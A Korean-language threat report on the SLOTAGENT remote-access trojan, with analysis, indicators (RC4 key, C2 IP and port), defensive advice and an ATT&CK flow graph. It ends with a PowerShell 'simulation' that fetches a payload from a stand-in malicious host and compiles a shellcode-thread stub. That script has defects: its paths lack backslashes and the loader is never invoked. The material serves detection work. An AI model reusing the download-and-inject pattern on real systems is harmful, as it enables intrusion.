SOC Prime Bias: 중간

29 4월 2026 17:27

신규 악성코드 SLOTAGENT, BOF 실행 지원 공개

Author Photo
SOC Prime Team linkedin icon 팔로우
신규 악성코드 SLOTAGENT, BOF 실행 지원 공개
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

IIJ는 공용 저장소에 업로드된 ZIP 아카이브 내에서 이전에 알려지지 않은 다기능 RAT인 SLOTAGENT를 식별했습니다. 이 악성코드는 Beacon Object File 페이로드의 실행을 지원하며, 타임스템핑과 같은 분석 방해를 위한 안티 포렌식 기능을 포함합니다. 이는 커스텀 프로토콜을 통해 하드코딩된 TCP 엔드포인트와 JSON 형식의 데이터를 교환하여 통신합니다. 로더는 RC4로 암호화된 구성 데이터와 반사 DLL 로딩을 사용하여 최종 페이로드를 실행합니다.

조사

정적 분석 결과 로더 실행 파일 WindowsOobeAppHost.AOT.exe는 DJB2 기반의 커스텀 해싱 루틴을 통해 Windows API 함수를 해석합니다. 그것의 암호화된 구성 파일 db.config는 키 easdbadshyfab 를 이용한 RC4로 복호화된 후 XOR로 인코딩된 DLL을 포함한 쉘코드로 실행됩니다. 로딩 후 RAT는 43.156.59.110:699 에 연결하여 스크린샷 캡처, 파일 업로드 다운로드, BOF 실행을 포함하는 JSON 기반 명령을 처리합니다.

완화

방어자는 하드코딩된 명령 및 제어 IP 주소를 탐지하고, 악성코드의 네트워크 트래픽과 관련된 독특한 HTTP 유사 경로 문자열을 찾아야 합니다. 보고서에 제공된 YARA 규칙은 로더와 RAT 컴포넌트를 식별하기 위해 배포되어야 합니다. 보안 팀은 또한 의심스러운 API 해싱 행동과 엔드포인트에서의 반사 DLL 로딩을 감시해야 합니다. 서명되지 않고 신뢰할 수 없는 EXE나 DLL 파일의 실행은 가능한 한 제한되어야 합니다.

대응

SLOTAGENT와 연결된 지표가 탐지되면, 감염된 호스트를 즉시 격리하고, 악성 프로세스를 종료하며, 포렌식 검사를 위한 메모리를 수집하십시오. 명령 및 제어 IP 주소와 관련된 포트는 네트워크 경계에서 차단해야 합니다. 그런 다음 조직은 알려진 파일 이름과 해시를 대상으로 전체 검사를 수행하고, 엔드포인트 감지 시스템 전반에 걸쳐 게시된 YARA 서명을 적용해야 합니다.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[“<b>악성코드</b> – <b>이름</b>: WindowsOobeAppHost.AOT.exe<br/><b>기법</b>: T1204.002 사용자 실행”] class malware_exe malware exec_hijack[“<b>기법</b> – <b>T1574 실행 흐름 하이재킹</b>: __managed__Main 함수 호출”] class exec_hijack action api_resolve[“<b>기법</b> – <b>T1027.007 난독화 파일 처리</b>: XOR/ROR11 해시로 API 해결”] class api_resolve action config_decrypt[“<b>기법</b> – <b>T1027.007</b>: RC4 복호화”] class config_decrypt action dll_decrypt[“<b>기법</b> – <b>T1027.007</b>: XOR DLL 복호화”] class dll_decrypt action reflective_load[“<b>기법</b> – <b>T1620 Reflective DLL Loading</b>: 메모리 로딩”] class reflective_load process process_injection[“<b>기법</b> – <b>T1055.009 프로세스 인젝션</b>: DLL 주입”] class process_injection process c2_channel[“<b>기법</b> – <b>T1571 비표준 포트</b> and <b>T1573 암호화 채널</b>: TCP C2 연결”] class c2_channel network host_info[“<b>기법</b> – <b>T1592 시스템 정보</b>: JSON 전송”] class host_info data proc_discovery[“<b>기법</b> – <b>T1057 프로세스 탐색</b>: 프로세스 나열”] class proc_discovery data file_discovery[“<b>기법</b> – <b>T1083 파일 탐색</b>: 파일 목록”] class file_discovery data screenshot_cap[“<b>기법</b> – <b>T1113 화면 캡처</b>: 화면 수집”] class screenshot_cap data remote_shell[“<b>기법</b> – <b>T1059 명령 쉘</b>: 원격 실행”] class remote_shell process bof_execution[“<b>기법</b> – <b>T1027 BOF 실행</b>: 모듈 실행”] class bof_execution process shared_modules[“<b>기법</b> – <b>T1129 공유 모듈</b>: 추가 로드”] class shared_modules process file_transfer[“<b>기법</b> – <b>T1105 파일 전송</b>: 업로드/다운로드”] class file_transfer data proc_termination[“<b>기법</b> – <b>T1106 API</b>: 프로세스 종료”] class proc_termination process sleep_manip[“<b>기법</b> – <b>T1027.004</b>: sleep 조작”] class sleep_manip action %% Connections unchanged malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip

공격 흐름

시뮬레이션 실행

필수조건: Telemetry & Baseline 사전 점검을 통과해야 합니다.

  • 공격 서술 및 명령:

    공격자는 SLOTAGENT 로더 바이너리의 사본을 획득하여 WindowsOobeAppHost.AOT.exe 정상적인 OOBE 프로세스와 혼합하기 위해 이름을 변경하고 C:WindowsSystem32에 배치했습니다. 페이로드는 공격자의 서버에 암호화된 블롭으로 저장되어 있습니다. PowerShell을 사용하여 공격자는 암호화된 블롭을 다운로드하고, 메모리에서 이를 복호화한 후, NtCreateThreadEx를 통해 로더의 반사 루틴을 호출합니다. 로더는 내부적으로 NtCreateFile 을 호출하여 암호화된 블롭에서 추가 리소스를 읽은 후, 디스크에 쓰지 않고 악성 DLL을 실행하기 위해 반사 로딩을 사용합니다. 이 활동은 Image 이 포함된 정확한 이름의 Sysmon ProcessCreate 이벤트를 생성하며, CallTrace 에 규칙에 정의된 세 개의 문자열이 포함됩니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # SLOTAGENT 반사 로딩 시뮬레이션 (Windows)
    # -------------------------------------------------
    # 1. 경로 정의
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. 로더가 존재하는지 확인 (실제 바이너리의 시뮬레이션 된 복사본)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "시뮬레이션 로더를 $loaderPath로 복사 중"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. 암호화된 페이로드 다운로드 (시뮬레이션)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. 메모리에서 페이로드 복호화 (자리 표시자 - 실제 복호화 생략)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. 네이티브 API 호출을 통한 반사 로딩
    #    NtCreateThreadEx를 호출하는 간단한 C# 헬퍼를 즉석에서 컴파일하여 사용
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. 임시 파일 정리
    Remove-Item $tempPayload -Force
  • 정리 명령:

    # 남아 있는 로더 프로세스를 모두 종료합니다
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # 시뮬레이션된 로더 바이너리 제거
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # 남아 있는 임시 파일 제거
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue